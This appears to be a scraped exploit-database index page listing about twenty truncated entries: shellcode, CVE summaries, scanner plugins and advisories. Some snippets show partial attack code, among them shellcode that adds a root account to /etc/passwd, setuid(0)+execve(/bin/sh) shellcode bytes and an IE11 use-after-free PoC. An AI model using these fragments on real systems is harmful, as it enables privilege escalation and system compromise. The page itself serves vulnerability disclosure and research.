Linux/x86 exit(0) Shellcode (5 bytes)

/ Smallest Linux/x86 - exit0 shellcode 5 bytes Author: Anurag Srivastava Tested on: i686 GNU/Linux Shellcode Length: 5 exitchotu: file format elf32-i386 Disassembly of section .text: 08048060 : 8048060: 6a 01 push 0x1 8048062: 58 pop eax 8048063: cd 80 int 0x80 ===============POC by Anurag...

Solaris 10 (x86) : 120665-01

SunOS 5.10x86: tl driver patch. Date this patch was last updated by Sun : Sep/15/05 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text in this plugin was extracted from the Oracle SunOS Patch Updates. include'deprecatednasllevel.inc'; include'compat.inc'; if description...

IE11: Use-after-free in Js::RegexHelper::RegexReplace(CVE-2018-0866)

There is a Use-after-free vulnerability in Internet Explorer that could potentially be used for memory disclosure. This was tested on IE11 running on Window 7 64-bit with the latest patches applied. Note that the PoC was tested in a 64-bit tab process via TabProcGrowth=0 registry flag and the pag...

Microsoft Internet Explorer 11 - 'Js::RegexHelper::RegexReplace' Use-After-Free

var vars = new Array2; function main vars0 = Array1000000.joinString.fromCharCode0x41; vars1 = String.prototype.substring.callvars0, 1, vars0.length; String.prototype.replace.callvars1, RegExp, f; function farg1, arg2, arg3 alertarg3; vars0 = 1; CollectGarbage; return 'a'; main; +0x122e5d:...

Authentication flaw

A Denial of Service vulnerability was found in Apache Qpid Broker-J 7.0.0 in functionality for authentication of connections for AMQP protocols 0-8, 0-9, 0-91 and 0-10 when PLAIN or XOAUTH2 SASL mechanism is used. The vulnerability allows unauthenticated attacker to crash the broker instance. AMQ...

Vitek - Remote Command Execution / Information Disclosure (PoC) Vulnerability

Exploit for multiple platform in category remote exploits STX Subject: Vitek RCE and Information Disclosure and possible other OEM Attack vector: Remote Authentication: Anonymous no credentials needed Researcher: bashis December 2017 PoC: https://github.com/mcw0/PoC Release date: December 22, 201...

Beers with Talos EP 22: Forget the ASA, Rob Joyce Favorited Craig’s Tweet

Beers with Talos BWT Podcast Episode 22 is now available. Download this episode and subscribe to Beers with Talos: If iTunes and Google Play aren't your thing: www.talosintelligence.com/podcast EP22 Show Notes: Recorded 2/2/18 - Guests two EPs in a row! We are joined by Omar Santos from Cisco PSI...

Debian: Security Advisory (DLA-1142-1)

The remote host is missing an update for the Debian SPDX-FileCopyrightText: 2018 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Debian: Security Advisory (DLA-1085-1)

The remote host is missing an update for the Debian SPDX-FileCopyrightText: 2018 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Flash 0-Day In The Wild: Group 123 At The Controls

This blog post is authored by Warren Mercer and Paul Rascagneres. Executive Summary The 1st of February, Adobe published an advisory concerning a Flash vulnerability CVE-2018-4878. This vulnerability is a use after free that allows Remote Code Execute through a malformed Flash object. Additionall...

CVE-2018-6543: Integer Overflow or Wraparound

In GNU Binutils 2.30, there's an integer overflow in the function loadspecificdebugsection in objdump.c, which results in malloc with 0 size. A crafted ELF file allows remote attackers to cause a denial of service application crash or possibly have unspecified other impact...

BSD/x86 - Write to /etc/passwd with uid(0) + gid(0) Shellcode (74 bytes)

/ writes the line for user in /etc/passwd with uid&gid == 0 OS: BSD length: 74 written by dev0id email protected rootteam.void.ru rus-sec /Efnet.org greetz: mig nerf BITS 32 main: xor eax,eax push eax push byte 0x64 push word 0x7773 push long 0x7361702f push long 0x6374652f mov ebx,esp mov al,0x0...

Linux/x86 - Write to /etc/passwd with uid(0) + gid(0) Shellcode (74 bytes)

/ This shellcode writes to /etc/passwd the string for the user with uid&gid == 0; written by dev0id email protected rootteam.void.ru rus-sec /Efnet.org greetz: nerf w00w00 BITS 32 jmp short path main: pop esi xor eax,eax push eax mov byte esi+11,al mov al,0x0a push eax push esi mov al,5 push eax...

Linux/x86 - setuid(0) + execve(/bin/sh) Shellcode (27 bytes)

include const char sc= "\x31\xdb" //xor ebx,ebx "\x8d\x43\x17" //LEA eax,ebx + 0x17 /LEA is FASTER tha push/pop "\x99" //cdq "\xcd\x80" //int 80 //setuid0 shouldn't returns -1 right? ; "\xb0\x0b" //mov al,0bh "\x52" //push edx /Termina la cadena //bin/sh con un 0 "\x68\x6e\x2f\x73\x68"...

Sony Playstation 4 4.05 FW - Local Kernel Exploit

Exploit for bsd platform in category local exploits PS4 4.05 Kernel Exploit --- Summary In this project you will find a full implementation of the "namedobj" kernel exploit for the PlayStation 4 on 4.05. It will allow you to run arbitrary code as kernel, to allow jailbreaking and kernel-level...

Vitek - Remote Command Execution Information Disclosure (PoC)

Vitek - Remote Command Execution Information Disclosure PoC STX Subject: Vitek RCE and Information Disclosure and possible other OEM Attack vector: Remote Authentication: Anonymous no credentials needed Researcher: bashis December 2017 PoC: https://github.com/mcw0/PoC Release date: December 22,...

PT-2017-15027

Name of the Vulnerable Software and Affected Versions Piwigo version 2.9.2 Description The issue concerns SQL Injection via the sSortDir 0 parameter in the List Users API, specifically affecting the /admin/user list backend.php endpoint. This allows an attacker to potentially gain access to the...

Microsoft Windows Kernel - NtQueryVirtualMemory(MemoryMappedFilenameInformation) Double-Write Ring-0 Address Leak

Microsoft Windows Kernel - NtQueryVirtualMemoryMemoryMappedFilenameInformation Double-Write Ring-0 Address Leak / Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1456 We have discovered that it is possible to disclose addresses of kernel-mode Paged Pool allocations via a...

Microsoft Windows Kernel - 'NtQueryVirtualMemory(MemoryMappedFilenameInformation)' Double-Write Ring-0 Address Leak

/ Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1456 We have discovered that it is possible to disclose addresses of kernel-mode Paged Pool allocations via a race-condition in the implementation of the NtQueryVirtualMemory system call information class 2,...

Multiple OEM - 'nsd' Remote Stack Format String (PoC)

STX Subject: Remote Stack Format String in 'nsd' binary from multiple OEM Attack vector: Remote Authentication: Anonymous no credentials needed Researcher: bashis December 2017 PoC: https://github.com/mcw0/PoC Release date: December 14, 2017 Full Disclosure: 0-Day - PoC - 1 $ curl...